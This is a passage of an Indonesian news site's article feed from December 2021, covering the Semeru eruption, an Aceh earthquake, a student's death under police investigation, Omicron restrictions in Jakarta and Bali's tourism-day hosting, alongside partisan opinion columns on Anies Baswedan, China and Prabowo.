langsung terjun ke lapangan menyalurkan bantuan dari para donatur," kata Sirot. Bantuan tersebut, diberikan kepada masyarat desa Kamar Kajang, Piket Nol, bersebelahan dengan jembatan Gladak Perak yang ambrol diterjang lahar dingin. Sehingga akses menuju Dampit Malang via jalur tersebut tidak bisa diakses untuk saat ini. "Bantuan yang diberikan berupa kebutuhan-kebutuhan emergency, seperti makanan, minuman dan yang lainnya," ungkap Ketua DPW Jatim ini. Sirot mengungkapkam tidak sedikit para donatur yang tergerak membantu melalui Blue Helmet, baik dari personal maupun lembaga, KSB ( Komunitas Surabaya Bersedekah). "Blue Helmet bersama Basarnas, bergerak pertama kali di Lumajang", kata Cak Hasan, Komandan Blue Helmet Jatim menambahkan. "Hari ini, kami akan menerjunkan pasukan Blue Helmet dari berbagai kota se Jatim," imbuhnya. Berdasarkan data terakhir dari Badan Nasional Penanggulangan Bencana (BNPB), korban meninggal dunia akibat erupsi Gunung Semeru, Lumajang, Jawa Timur mencapai 13 orang, sementara sebanyak 41 orang mengalami luka-luka, khususnya luka bakar. (sws)

Pikiran Positif Anies, dan Kekhawatiran Dahlan Iskan Tuai Kebenaran

Oleh Ady Amar *) Pupus sudah rencana 3 klub raksasa Spanyol U-18: Barcelona, Real Madrid dan Ataletico Madrid, yang akan bereksibisi dengan Indonesia All Star. Rencana sudah disusun rapi, tapi secara mendadak dibatalkan. Izin tidak keluar. Lagi-lagi pandemi Covid-19 jadi alasan. Kalau sudah begitu mau apa lagi, padahal eksibisi, bagian dari soft opening Jakarta International Stadium (JIS). Stadion baru yang dari A-Z dibangun dengan standar FIFA, yang bisa jadi kebanggaan tidak saja warga DKI Jakarta tapi Indonesia. Gede Widade, Chairman Pancoran Soccer Field, pihak penyelenggara memberitakan, "Kami baru menerima pembatalan ini secara mendadak mendekati tanggal penyelenggaraan." Jangan diperbandingkan mengapa World Super Bike (WSB) Mandalika, Lombok-NTB, 19-21 November, bisa dapat izin penyelenggaraannya. Padahal hanya berjarak sekitar sebulan dari perhelatan di JIS itu. Apa karena saat itu virus menakutkan bisa dicermati sedang cuti, yang berbagi tugas agar WSB bisa berlangsung sukses. Pastilah tidak demikian, tapi lebih pada pandemi yang cenderung melandai. Karena itu, Daihatsu Indonesia Masters (16-21 November), SimInvest Indonesia Open (23-28 November) dan lanjut HSBC BWF World Tour Finals 2021 (1-5 Desember). Semua pertandingan bulu tangkis itu bisa dihelat di Bali, pun berjalan lancar. Memang sih tidak dihadiri penonton. Tidak persis tahu, apa juga ditawarkan perhelatan di Jakarta boleh terlaksana jika tanpa dihadiri penonton, setidaknya itu bisa jadi opsi jalan tengah. Banyak yang memprediksi sejak jauh hari, bahwa izin penyelenggaraan tidak akan diberikan. Dan pastilah Pandemi Covid-19 akan jadi pihak yang disalahkan. Disebutkan adanya potensi Covid-19 varian baru, meski tanda-tanda itu belum juga tampak. Itu bisa tampak dimana RS-RS rujukan dan Wisma Atlet Jakarta yang sudah hampir tidak berpenghuni. Atau setidaknya hanya jumlah kecil saja tambahan pasien dengan gejala Covid-19 di sana. Tampak DKI Jakarta sepertinya dipaksa untuk tetap dalam bahaya Covid-19, dan karenanya event eksibisi itu harus dibatalkan. Padahal perhelatan itu akan jadi kebanggaan, bukan hanya warga Jakarta, tapi juga seluruh negeri akan larut dalam kegembiraan menyaksikan tampilan tim klub dunia. Saat membatalkan apakah berpikir bagaimana dengan panitia yang punya komitmen dengan 3 klub yang diundang itu. Bagaimana dengan biaya dan akomodasi yang sudah dibayarkan, jika itu sudah dibayarkan, dan seterusnya. Membatalkan itu hal mudah, apalagi jika tidak biasa berpikir tentang kesulitan pihak penyelenggara. Prediksi Dahlan Iskan Saat Anies Baswedan tampil di Podcast DISWAY Dahlan Iskan (DI), ada pertanyaan menarik darinya. Itu berkenaan dengan perhelatan eksibisi itu. Muncul kekhawatiran dari DI, bahwa pertandingan itu tidak akan berlangsung. Saat itu DI memotong pembicaraan, saat Anies menerangkan bahwa akan berlangsung pertandingan eksibisi di JIS sebagai soft opening dengan mendatangkan klub raksasa Spanyol. Pak DI mengkhawatirkan eksibisi itu tidak akan mendapatkan izin, dan itu karena ada Anies Baswedan di sana. Dan Anies menjawab dengan yakinnya, "Mudah-mudahan tidak..." Pikiran positif Anies itu ternyata kalah dengan "kekhawatiran" DI. Dalam bahasa agama, seolah husnudzon Anies dikalahkan su'udzon DI. Tentu su'udzonnya itu punya pertimbangan tidak berdiri sendiri, tidak asal berprasangka buruk. Ada parameter munculnya su'udzon, dan itu lebih pada kecenderungan karya Anies Baswedan yang sebisa mungkin dikecilkan, atau dibuat tidak tampak. Dan itu dengan segala cara. Mari kita cermati dialog itu, dan itu ada pada menit 14.47: "Saya pantas gak, saya khawatir bahwa pertandingan bulan depan itu tidak akan dapat ijin. Pantas ga saya berpikir jangan-jangan ga dapat ijin," ujar DI. Anies menjawab, "Mudah-mudahan kalau situasinya terkendali seperti sekarang... (belum selesai Anies menjawab tuntas), Pak DI memotong, "Bukan karena covid, tapi ini soal karena ada nama Pak Anies Baswedan di sana." Sambil tertawa Anies menjawab, "Mudah-mudahan tidak..." Prediksi pada apapun, itu dimungkinkan, dan itu muncul oleh kecenderungan yang ada. Dan prediksi DI, itu tidak berdiri sendiri. Itu lah yang memunculkan kekhawatiran, bahwa eksibisi itu tidak akan dapat izin. Dan itu karena ada Anies Baswedan di sana. Karena ada Anies di sana, memunculkan kesan diskriminatif, itu berkenaan dengan izin penyelenggaraan di tanah air. Yang WSB dan lainnya mendapat izin, sedang yang eksibisi Indonesia All Star dengan 3 klub raksasa Spanyol tidak mendapat izin. Semua lantas menjadi faham, bahwa pandemi jadi alat politik untuk memberi dan tidak memberi izin. Dan itu terlihat lebih pada suka-sukanya. Tapi setidaknya kekhawatiran DI, bahwa ada Anies Baswedan di sana dan karenanya izin tidak didapat, itu menjadi benar adanya. Namun salah besar jika laku diskriminatif itu mampu menghentikan langkah Anies Baswedan. Memang tampak dipermukaan, bahwa Anies menjadi pihak yang dirugikan, itu jika melihatnya sesaat-sepintas. Jika melihatnya lebih jauh lagi, maka Anies justru jadi pihak yang diuntungkan, setidaknya mampu merebut hati masyarakat luas. Pada saatnya Anies akan mengunduhnya. (*) *) Kolumnis

Cina Semakin Berbahaya Bagi Indonesia

By M Rizal Fadillah Ancaman China kepada Indonesia untuk menghentikan pengeboran minyak di Blok Tuna ZEE perairan Natuna Utara harus dianggap serius. Klaim China atas Dash Nine Laut China Selatan jelas bertentangan dengan Hukum Laut Internasional. Protes China ini kelanjutan dari penggantian nama Laut China Selatan menjadi Laut Natuna Utara. Kapal Coast Guard China beberapa kali mengitari area pengeboran dan memasuki ZEE perairan Indonesia. Indonesia tak mampu mengusir kapal-kapal China sehingga wajar jika dipertanyakan kemampuan armada laut Indonesia untuk menjaga kedaulatan negara. Menlu dan Menhan bungkam atas nota protes ancaman China tersebut. Pasang badan atas kritikan rakyat soal persahabatan dengan China tidak berbuah. China memang licik dan berbahaya. Di samping ancaman soal eksplorasi migas RI di Natuna Utara tersebut, China juga mempermasalahkan Latihan Bersama TNI AD dengan US Army bulan Agustus 2O21 dahulu. 4500 Tentara AS dan Indonesia terlihat dalam latihan rutin "Garuda Shield" yang diadakan sejak tahun 2009 tersebut. China gelisah dan uring-uringan. China mulai menunjukkan sikap tegas. China dapat merangsek ke Papua. Ungkapan Presiden sementara Gerakan Persatuan Kemerdekaan Papua Barat (ULMWP) Benny Wenda bahwa Partai Komunis China mendukung kemerdekaan Papua Barat membutuhkan kewaspadaan. China sangat berkepentingan dengan wilayah vital Laut Cina Selatan ini. Pangkalan militer bisa didirikan di Papua. Wajar jika China akan mendorong referendum untuk lepasnya Papua dari Indonesia. Lembeknya TNI atau Densus 88 menghadapi gerakan teroris dan separatis KKB Papua menunjukkan kecutnya Indonesia menghadapi ancaman asing, China di antaranya. Tantangan pemberontak malah disikapi persahabatan dan rangkulan Dudung. Ingin bersahabat atau takut ? Tipis tipis saja bedanya. Kepada umat Islam galak sekali bapak Dudung ini. Densus juga sama. China adalah ancaman bukan sahabat. Pemerintahan Jokowi jangan terbuai dengan investasi dan hutang luar negeri. China itu licik dan penjebak. Natuna dan Papua adalah pintu masuk tentara. Tenaga kerja susupan adalah sumber daya manusia yang disiapkan. Program Belt Road Initiative (BRI) adalah cetak biru atau road map. Lalu pengusaha hitam negeri menjadi kolaborator dan agency kepentingan atas negeri leluhur. Ekonomi yang terkuasai dari hulu ke hilir. Nota protes dan ancaman atas pengeboran minyak Natuna Utara adalah fenomena semakin bahayanya intervensi China. Indonesia harus bersiap untuk menghadapinya. Jangan jual kedaulatan demi kekuasaan pribadi, kroni dan oligarkhi. Merdeka atau mati. *) Pemerhati Politik dan Kebangsaan

Deru dan Debu Gunung Semeru

Surabaya, FNN - Jagad media sosial dan jejaring pertemanan daring dikejutkan munculnya sejumlah video letusan Gunung Semeru di Kabupaten Lumajang, Jawa Timur, pada Sabtu (4/12) sore sekitar pukul 15.30 WIB. Salah satu video pendek itu memperlihatkan sejumlah warga berlarian menyelamatkan diri dari awan panas guguran Gunung Semeru. Di video lainnya terlihat warga dengan menggunakan sepeda motor dan mobil berusaha menjauh menghindari guguran awan panas. Ada juga kiriman foto-foto sejumlah warga yang tubuhnya melepuh atau mengalami luka bakar karena terkena guguran awan panas dan material abu vulkanik dari letusan Gunung Semeru. Gambar lainnya terlihat proses evakuasi warga ke lokasi pengungsian. Hingga Sabtu (4/12) malam, Kementerian Kesehatan melaporkan jumlah korban luka bakar akibat terkena awan panas dan material abu vulkanik letusan Gunung Semeru di Kecamatan Candipuro, Kabupaten Lumajang, Jawa Timur, berjumlah 45 orang. "Sementara ini luka bakar 45 orang, yang berat dan dirujuk ke RSUD dan RS Bhayangkara 17 orang," kata Menteri Kesehatan Budi Gunadi Sadikin melalui pesan singkat di Grup Menkes-Pemred yang diterima di Jakarta. Mayoritas korban luka bakar diperkirakan tertimbun material letusan Gunung Semeru yang melanda empat wilayah RT di satu RW. "Kondisi gelap, tidak bisa melarikan diri. Situasi belum aman. Juga diperkirakan banyak pekerja tambang pasir terperangkap," kata Menkes. Budi juga menerima laporan rata-rata korban menderita luka bakar grade 2A-B. Luka bakar di atas 50 persen dialami enam orang, korban yang dirawat di ICU sebanyak empat orang. Seorang korban harus dirujuk ke RSUD dr Haryoto Lumajang karena membutuhkan infus vena sentral untuk penanganan medis terhadap lukanya. Belum Dievakuasi Wakil Bupati Lumajang Indah Amperawati Masdar melaporkan ada satu korban jiwa dalam peristiwa letusan Gunung Semeru. Sedikitnya 10 orang belum bisa dievakuasi dari Dusun Curah Kobokan, Kecamatan Pronojiwo, karena kondisinya masih rawan. "Masih ada sekitar 10 orang yang belum bisa dievakuasi karena lokasinya agak sulit. Evakuasi lamban karena mobil tidak bisa masuk ke lokasi yang kondisi lumpurnya setinggi sampai lutut kaki," kata Wabup Indah. Di Dusun Curah Kobokan yang lokasinya paling dekat dengan Gunung Semeru terdapat lebih kurang 300 Kepala Keluarga (KK) yang sebagian besar sudah mengungsi. Wabup Indah menyebut hampir semua rumah di Dusun Curah Kobokan, Desa Supiturang, hancur terkena material letusan Gunung Semeru. Selain itu, kerusakan jembatan juga terjadi di Desa Supiturang, Kecamatan Pronojiwo, yang memutus akses tunggal antara Kabupaten Lumajang dengan Kabupaten Malang. Jembatan Geladak Perak itu putus dihantam aliran lahar Semeru yang sangat deras. Di Desa Sumberwuluh yang terdapat area tambang pasir, dilaporkan ada dua orang yang hilang dan sampai saat ini belum ditemukan. Selain itu, ada sekitar delapan orang yang terjebak di kantor milik perusahaan tambang. "Jadi sekitar delapan orang di sana dan kami tidak bisa menghubungi karena HP-nya tidak bisa dihubungi tadi sore. Sempat bisa mengirimkan video minta tolong untuk bisa dibantu," katanya. Tetapi relawan tidak bisa mengevakuasi karena lahar panas sudah di sana. "Kami menunggu surutnya, mudah-mudahan mereka masih selamat," kata Wabup Indah. Listrik Padam Dampak letusan Gunung Semeru juga mengakibatkan aliran listrik padam. Wilayah sekitar Semeru pun gelap gulita dan menyulitkan proses evakuasi. Hingga Sabtu malam, petugas PLN bekerja keras melakukan pemulihan. PLN mengklaim telah memulihkan 30 dari total 112 gardu listrik yang terdampak letusan Gunung Semeru. "Kami telah memulihkan dan menyalakan kembali 30 gardu terdampak. Hasilnya sudah ada 7.508 pelanggan terdampak telah mendapatkan suplai listrik," kata General Manager PLN Unit Induk Distribusi Jawa Timur Adi Priyanto. Akibat dari terganggunya 112 gardu yang terdampak erupsi tersebut, sekitar 30.523 pelanggan mengalami pemadaman listrik. PLN masih berupaya memulihkan 82 gardu distribusi dan 23.015 pelanggan yang terdampak pemadaman listrik. "Beberapa daerah yang masih padam belum dapat dijangkau oleh petugas PLN karena adanya akses jalan utama yang putus akibat lahar dingin, seperti Jembatan Perak Piket Nol," kata Adi. Kepala Badan Nasional Penanggulangan Bencana (BNPB) Suharyanto pada kesempatan terpisah mengatakan, pihaknya menyiapkan dua unit helikopter untuk kebutuhan evakuasi korban letusan Gunung Semeru dan ada tiga satuan setingkat kompi TNI yang dikerahkan untuk membantu penanganan. "Saya tadi sudah koordinasi dengan Kasdam Brawijaya, sudah juga membuat surat kepada Panglima TNI sudah koordinasi, kami pastikan tiga satuan setingkat kompi bisa membantu Pak Bupati di lapangan malam ini untuk melakukan penanganan awal," kata Suharyanto. Ia mengatakan dua unit helikopter yang disiapkan itu bisa digunakan sewaktu-waktu apabila evakuasi korban tidak bisa dilakukan melalui jalur darat. Curah Hujan Kepala Badan Geologi Kementerian Energi dan Sumber Daya Mineral Eko Budi Lelono mengungkapkan, letusan Gunung Semeru yang terjadi pada Sabtu sore berkaitan dengan curah hujan tinggi di sekitar puncak gunung sehingga menyebabkan runtuhnya bibir lava yang memicu adanya letusan. "Kelihatannya memang ada kaitan dengan curah hujan tinggi, sehingga menyebabkan runtuhnya bibir lava itu sehingga memicu adanya erupsi atau ada guguran awan panas," kata Eko. Eko menerangkan letusan Gunung Semeru itu kemungkinan besar dari faktor eksternal, yaitu curah hujan tinggi. Hal itu karena catatan kegempaan relatif rendah dan aktivitas suplai magma dan material sepanjang bulan November dan sejak tanggal 1 hingga 3 Desember 2021 tidak mengalami perubahan yang signifikan. Dari sisi kegempaan ini relatif rendah, tidak ada asosiasi dengan peningkatan adanya suplai magma atau batuan permukaan. "Aktivitas Gunung Semeru ini sebetulnya tidak ada aktivitas yang berlebihan dari kegempaan yang memperlihatkan adanya suplai magma itu relatif biasa saja seperti sebelum-sebelumnya," kata Eko. Timnya di pos pengamatan di lapangan memonitor aktivitas Gunung Semeru selama 24 jam untuk mengamati bila sewaktu-waktu terjadi peningkatan. Penjelasan itu diperkuat pernyataan dari Pusat Vulkanologi dan Mitigasi Bencana Geologi (PVMBG) yang menyimpulkan bahwa berdasarkan hasil pemantauan visual dan instrumental serta potensi ancaman bahayanya maka tingkat aktivitas Gunung Semeru dinilai masih pada level II atau waspada, meskipun aktivitasnya meningkat. "Pengamatan visual menunjukkan pemunculan guguran dan awan panas guguran diakibatkan oleh ketidakstabilan endapan lidah lava," kata Koordinator Kelompok Mitigasi Gunung Api Badan Geologi PVMBG Kristianto. Aktivitas yang terjadi di Gunung Semeru pada tanggal 1 dan 4 Desember merupakan aktivitas permukaan (letusan sekunder). Dari kegempaan tidak menunjukkan adanya kenaikan jumlah dan jenis gempa yang berasosiasi dengan suplai magma/batuan segar ke permukaan. Jumlah dan jenis gempa yang terekam selama 1 hingga 30 November 2021 didominasi oleh gempa-gempa permukaan berupa gempa letusan dengan rata-rata 50 kejadian per hari. Aktivitas Gempa Gempa guguran Gunung Semeru pada 1 dan 3 Desember 2021, masing-masing empat kali kejadian. Gempa-gempa vulkanik (gempa vulkanik dalam, vulkanik dangkal dan tremor) yang mengindikasikan kenaikan magma ke permukaan terekam dengan jumlah sangat rendah. Pada 4 Desember 2021 mulai pukul 13.30 WIB terekam getaran banjir. Kemudian pada pukul 14.50 WIB teramati awan panas guguran dengan jarak luncur 4 kilometer dari puncak atau 2 kilometer dari ujung aliran lava ke arah tenggara (Besuk Kobokan), tetapi hingga saat ini sebaran dan jarak luncur detail belum dapat dipastikan. Potensi ancaman bahaya letusan Gunung Semeru berupa lontaran batuan pijar di sekitar puncak. "Sedangkan material lontaran berukuran abu dapat tersebar lebih jauh tergantung arah dan kecepatan angin," katanya. Potensi ancaman bahaya lainnya berupa awan panas guguran dan guguran batuan dari kubah/ujung lidah lava ke sektor tenggara dan selatan d ari puncak. Jika terjadi hujan dapat terjadi lahar di sepanjang aliran sungai yang berhulu di daerah puncak sehingga dalam status waspada agar masyarakat tidak beraktivitas dalam radius 1 kilometer dari kawah/puncak Gunung Semeru dan jarak 5 km arah bukaan kawah sektor selatan-tenggara. Selain itu, masyarakat juga diminta mewaspadai potensi awan panas guguran lava dan lahar dingin di sepanjang aliran sungai/lembah yang berhulu di puncak Gunung Semeru, terutama di aliran Besuk Kobokan, Besuk Bang, Besuk Kembar dan Besuk Sat. "Radius dan jarak rekomendasi itu akan dievaluasi terus untuk antisipasi jika terjadi gejala perubahan ancaman bahaya," kata Kristianto. Sejarah Letusan Badan Nasional Penanggulangan Bencana (BNPB) mencatat Gunung Semeru dengan ketinggian 3.676 meter di atas permukaan laut (mdpl) memiliki catatan panjang letusan yang terekam sejak tahun 1818. Catatan letusan (Gunung Semeru) yang terekam pada 1818 hingga 1913 tidak banyak informasi yang terdokumentasikan. "Kemudian pada 1941-1942 terekam aktivitas vulkanik dengan durasi panjang," kata Pelaksana Tugas Kepala Pusat Data Informasi dan Komunikasi Kebencanaan BNPN Abdul Muhari. PVMBG menyebutkan leleran lava terjadi pada periode 21 September 1941 hingga Februari 1942. Saat itu letusan Gunung Semeru sampai di lereng sebelah timur dengan ketinggian 1.400 hingga 1.775 meter. Material vulkanik hingga menimbun pos pengairan di Bantengan. Selanjutnya beberapa aktivitas vulkanik gunung tertinggi di Pulau Jawa itu tercatat beruntun pada 1945, 1946, 1947, 1950, 1951, 1952, 1953, 1954, 1955 - 1957, 1958, 1959 dan 1960. Tak berhenti sampai di sini, Gunung Semeru termasuk salah satu gunung api aktif yang melanjutkan aktivitas vulkaniknya. Pada 1 Desember 1977, guguran lava menghasilkan awan panas guguran dengan jarak hingga 10 kilometer di Besuk Kembar. Volume endapan material vulkanik yang teramati mencapai 6,4 juta meter kubik. Awan panas juga mengarah ke wilayah Besuk Kobokan, Desa Sapiturang, Kecamatan Pronojiwo, Kabupaten Lumajang, merusak sawah, jembatan dan rumah warga rusak. Aktivitas vulkanik berlanjut dan tercatat pada 1978-1989. PVMBG juga mencatat aktivitas vulkanik Gunung Semeru pada 1990, 1992, 1994, 2002, 2004, 2005, 2007 dan 2008. Pada 2008, tercatat beberapa kali letusan, yaitu pada rentang 15 Mei hingga 22 Mei 2008. Teramati pada 22 Mei 2008, empat kali guguran awan panas yang mengarah ke wilayah Besuk Kobokan, dengan jarak luncur 2.500 meter. Menurut data PVMBG, aktivitas Gunung Semeru berada di kawah Jonggring Seloko yang berada di sisi tenggara puncak Mahameru. Sedangkan karakter letusannya, Gunung Semeru ini bertipe vulcanian dan strombolian yang terjadi tiga sampai empat kali setiap jam. Karakter letusan vulcanian berupa letusan eksplosif yang dapat menghancurkan kubah dan lidah lava yang telah terbentuk sebelumnya. Sementara, karakter letusan strombolian biasanya terjadi pembentukan kawah dan lidah lava baru. (sws, ant)

Gempa Magnitudo 5 Guncang Sinabang Aceh

Jakarta, FNN - Gempa bumi dengan magnitudo 5 terjadi di Sinabang, Kabupaten Simeulue, Aceh, Sabtu (4/12) malam pukul 22.29 WIB. Berdasarkan informasi dari laman resmi Badan Meteorologi Klimatologi dan Geofisika (BMKG), Minggu, gempa bumi terjadi pada kedalaman 10 kilometer. Pusat gempa berada pada koordinat 2,87 Lintang Utara (LU) dan 95,29 Bujur Timur (BT) atau 126 km Barat Laut Sinabang, Aceh. Meski demikian, BMKG juga menginformasikan bahwa gempa bumi tersebut tidak berpotensi menimbulkan tsunami. "Tidak berpotensi tsunami," demikian informasi yang disampailkan BMKG. Sampai sejauh ini, belum diketahui ada tidaknya korban maupun dampak kerusakan atas gempa yang terjadi. (sws, ant)

Kematian Mahasiswi Yang Dipacari Anggota Polisi Didalami

Mojokerto, FNN - Kepolisian Resor (Polres) Mojokerto bersama Kepolisian Daerah Jawa Timur (Polda Jatim) menerjunkan tim khusus yang akan mendalami kasus dugaan bunuh diri seorang mahasiswi berinisial NW (23) yang jenazahnya ditemukan di dekat makam ayahnya, di Mojokerto, Jawa Timur. Kapolres Mojokerto Ajun Komisaris Besar (AKB) Apip Ginanjar, Sabtu, 4 Desember 2021 menjelaskan, jajaran Polres yang dipimpinya bekerja sama dengan Polda Jatim menerjunkan tim melakukan investigasi kepada RB yang diduga sebagai kekasih NW. "Masih ada sedang melakukan pendalaman oleh tim Polda Jatim dan Polres Mojokerto. Untuk informasi selanjutnya akan disampaikan lebih lanjut dan saat ini masih didalami," katanya, sebagaimana dikutip dari Antara. Kepala Satuan Reserse Kriminal Polres Mojokerto, Ajun Komisaris Tiksnarto Andaru Rahutomo mengatakan kekasih NW, yang ditemukan meninggal dunia di dekat makam ayahnya, merupakan anggota polisi. "Memang benar korban memiliki hubungan sebelumnya dengan RB seorang polisi di Pasuruan," kata Andaru. Diberitakan sebelumnya, seorang mahasiswi berinisial NW, warga Desa Japan, Kecamatan Sooko, Kabupaten Mojokerto ditemukan meninggal di makam desa setempat, Kamis, 2 Desember 2021. Korban diduga bunuh diri dengan menenggak racun. Di dekat lokasi, ditemukan cairan seperti teh dengan bau menyengat yang diduga racun. Dari informasi yang berhasil dihimpun, sebelum meninggal dunia korban juga sempat mengunggah uneg-uneg di media sosial. Dalam keterangan di media sosial tersebut, korban sempat menyatakan kalau dirinya tengah hamil. (MD).

Pemprov DKI tangguhkan kegiatan olahraga cegah penyebaran Omicron

Jakarta, FNN - Pemerintah Provinsi Daerah Khusus Ibu Kota (Pemprov DKI) Jakarta memutuskan menangguhkan seluruh kegiatan olahraga dan budaya yang melibatkan orang asing dan melibatkan banyak orang. Hal itu dilakukan guna mencegah penyebaran varian baru Covid-19 yakni Omicron. "Lebih baik mencegah kebocoran sekecil apa pun sejak dini hingga kita semua memastikan Omicron terkendali," kata Gubernur DKI Jakarta, Anies Baswedan, melalui siaran pers yang diterima di Jakarta, Sabtu., 4 Desember 2021 Keputusan Pemerintah Jakarta itu merujuk kepada pemerintah pusat yang memutuskan mencegah penyebaran varian baru Covid-19, Omicron. Yaitu, menjaga ketat perbatasan, kegiatan dari luar negeri, serta membatasi kegiatan yang dapat menimbulkan kerumunan. Menurut Anies, kewaspadaan terhadap Covid-19 tidak boleh dikendurkan, terutama setelah adanya berita perkembangan varian Omicron di luar negeri. Terkait dengan perkembangan situasi tersebut, maka rangkaian pelaksanaan turnamen Indonesia Youth Championship (IYC) 2021 pada 4-11 Desember 2021, termasuk agenda peluncuran awal atau soft launching Jakarta International Stadium (JIS) di Jakarta Utara, ditangguhkan. "Kami meminta kepada Pancoran Soccer Field supaya menangguhkan seluruh rangkaian pelaksanaan turnamen IYC 2021, sampai situasi pandemi dan penyebaran virus Covid-19 varian Omicron lebih terkendali," ujar Anies sebagaimana dikutip dari Antara. Anies mengatakan, mengapresiasi seluruh pihak yang telah terlibat dalam penyelenggaraan kegiatan IYC 2021, mulai dari Badan Nasional Penanggulangan Bencana (BNPB), kementerian terkait, Pemprov Bali, Badan Usaha Milik Daerah (BUMD) yang terlibat, dan berbagai pihak lainnya. “Penagguhan ini dilakukan guna menjaga keselamatan dan kesehatan dari semua pihak yang terlibat dalam pelaksanaan IYC 2021 dan soft launching JIS, termasuk masyarakat Jakarta dan Indonesia agar situasi secara keseluruhan dapat terus dikendalikan," ucap Anies. (MD).

Indonesia Menjadi Tuan Rumah Hari Pariwisata Dunia Tahun 2022

Jakarta, FNN - Indonesia, khususnya Pulau Bali, telah ditetapkan sebagai tuan rumah Hari Pariwisata Dunia 2022, yang akan dilaksanakan pada 27 September 2022. Dalam keterangan tertulis Kementerian Luar Negeri Republik Indonesia (Kemenlu RI) yang diterima di Jakarta, Sabtu, 4 Desember 2021, penunjukan tersebut dilakukan dalam Sidang Majelis Umum ke-24 World Tourism Organization (UNWTO), yang dilaksanakan pada 30 November hingga 3 Desember 2021, di Madrid, Spanyol. “Indonesia memiliki kepentingan yang besar dalam pemajuan agenda-agenda global pariwisata, utamanya pemulihan pariwisata pascapandemi Covid-19,” demikian Kementerian Luar Negeri RI. Selain penunjukan Bali sebagai tuan rumah, Desa Nglanggeran di Yogyakarta juga menerima penghargaan sebagai salah satu Desa Pariwisata Terbaik UNWTO, bersama dengan 43 desa lainnya dari 32 negara. Desa Nglanggeran sendiri diberikan pengakuan atas sumber daya alam dan budaya serta tindakan dan komitmen inovatif serta transformatif terhadap pengembangan pariwisata yang sejalan dengan Tujuan Pembangunan Berkelanjutan atau SDGs. Dikutip dari Antara, dalam pertemuan tersebut, Indonesia juga menggarisbawahi dampak pandemi bagi para pekerja pariwisata, terutama kalangan perempuan. Indonesia pun telah merancang berbagai program guna mendukung para pekerja perempuan di masa pandemi. UNWTO, merupakan badan Perserikatan Bangsa-Bangsa dengan kewenangan mempromosikan pariwisata yang bertanggung jawab, berkelanjutan, dan dapat dijangkau secara universal. Organisasi dunia itu menyelenggarakan Sidang Majelis Umum secara dua tahunan, dan negara-negara anggota membahas kebijakan pariwisata dunia. “Pada Sidang Majelis Umum UNWTO, negara-negara sepakat, pariwisata merupakan salah satu pilar pembangunan yang menyerap banyak lapangan pekerjaan, inklusif dan berkelanjutan. Oleh karena itu, ketersediaan vaksin harus terus didorong guna percepatan pemulihan pariwisata dunia pascapandemi Covid-19,” demikian Kemlu RI. (MD).

Edhy Prabowo - Pusaran Konflik Prabowo Vs Jokowi: Konteks Politik Kawasan (2)

Oleh: Radhar Tribaskoro KONTEKS kedua korupsi Edhy Prabowo terkait ambisi Prabowo 2024. Ambisi tersebut telah menyebarkan purbasangka di lingkungan para pendukung Jokowi. Mereka melihat Prabowo belum tulus dan sungguh-sungguh mendukung Jokowi. Mereka menyoroti beberapa hal pada diri Prabowo yang mereka anggap weird (aneh). Pertama, mereka melihat perilaku Fadli Zon, Wakil Ketua Umum Gerindra, yang selalu berseberangan dengan pemerintah. Fadli dianggap mencerminkan ambiguitas Prabowo. Kedua, mereka juga bertanya-tanya tentang keperluan Menhan mengunjungi lebih dari 20 negara dalam setahun pertama jabatannya. Dan ketiga, yang paling penting, adalah kebijakan Kemenhan berkaitan dengan kerjasama militer dengan Amerika Serikat. Berkaitan dengan ambisi, Prabowo adalah pribadi istimewa dari keluarga istimewa. Ia punya karir militer luar biasa. Ia turut membangun pasukan khusus yang sangat disegani dunia. Tekadnya menjadi presiden sudah tertanam jauh lebih dalam daripada siapapun. Konon, ketika ia baru menyelesaikan SMA, Prabowo datang ke Bandung untuk menemui tokoh mahasiswa yang sangat terkenal waktu itu. Prabowo ingin diperkenalkan dengan Panglima Kodam Siliwangi. Sang tokoh heran, sepintasan bertanya, "Kenapa kamu ingin ketemu Panglima." Prabowo waktu itu menjawab dengan tegas, "Menurut ayah saya, kalau saya ingin menjadi presiden saya harus menjadi tentara!" Tokoh itu kagum kepada cita-cita anak muda itu. Atas bakat, tekad dan (mungkin) bantuan berbagai pihak Prabowo akhirnya diterima menjadi kadet Akademi Militer di Magelang. Jadi, Prabowo telah mengimpikan kedudukan presiden itu sejak ia SMA. Sepanjang usianya ia konsisten kepada mimpinya itu. Ia tidak akan berhenti mewujudkan mimpinya itu sampai maut menjemput. Dalam kaitan dengan mimpinya itu, Prabowo sangat menjaga perilakunya agar rakyat melihatnya pantas menjadi pemimpin, baik semasa ia masih berkarir di militer, maupun sesudahnya. Ia belajar sejarah, ekonomi, politik, filsafat, dsb. Ia adalah pemimpin yang sangat siap lahir dan batin. Maka menurut saya, bergabungnya Prabowo ke dalam kabinet Jokowi-2 hanya memiliki satu tujuan, yaitu melempangkan jalannya menuju Prabowo 2024. Handicap terbesar Prabowo yang selalu menghantui dirinya selama masa-masa pencapresan adalah kasus penculikan aktivis. Ia telah membela diri dengan pantas, bahwa ia berada di bawah perintah atasan, bahwa bukan cuma dirinya yang mendapat perintah itu, bahwa semua aktivis yang ditangkap kesatuannya telah dibebaskan, bahwa banyak dari aktivis-aktivis tersebut kemudian malah bergabung dengan Partai Gerindra yang didirikannya. Namun semua pembelaannya itu sia-sia. Terbukti dari adanya satu ganjalan: Amerika Serikat tidak mengeluarkan visa untuk Prabowo. Mungkin itu sebabnya dalam perlindungan jabatan Menhan Prabowo senang berkeliling dunia, ia ingin menunjukkan bahwa dunia tidak memiliki masalah dengan dirinya. Dan akhirnya ganjalan itu buyar ketika pada 15 Oktober 2020 Menhan AS, Mark Esper, mengundang Prabowo berkunjung ke Negeri Paman Sam. Mereka merundingkan kesepakatan militer di antara kedua negara. Amerika Serikat diketahui memiliki kepentingan besar atas kawasan Laut China Selatan. AS ingin wilayah itu tetap menjadi perairan internasional bebas. Ketika China membangun klaim atas wilayah itu AS terusik. Klaim China itu bertabrakan langsung dengan sekutu-sekutu AS seperti Taiwan, Filipina, Malaysia, Indonesia, Jepang, dan Vietnam. Dengan sendirinya klaim itu bertabrakan dengan kepentingan AS. Sebuah konflik militer China vs AS perlahan-lahan muncul di cakrawala. Masalahnya, di mana posisi Indonesia? Pemerintahan Jokowi membangun hubungan sangat erat dengan Beijing. Seakan-akan poros Jakarta-Beijing yang dulu dibikin Soekarno hidup kembali. Sementara AS ingin Indonesia kembali ke dalam orbitnya, seperti era Orde Baru dulu. Para diplomat AS sekarang sangat ramah, mereka bilang "America has to engage Indonesia." Oleh sebab itu, AS kembali turun dengan bantuan-bantuan semisal ventilator, 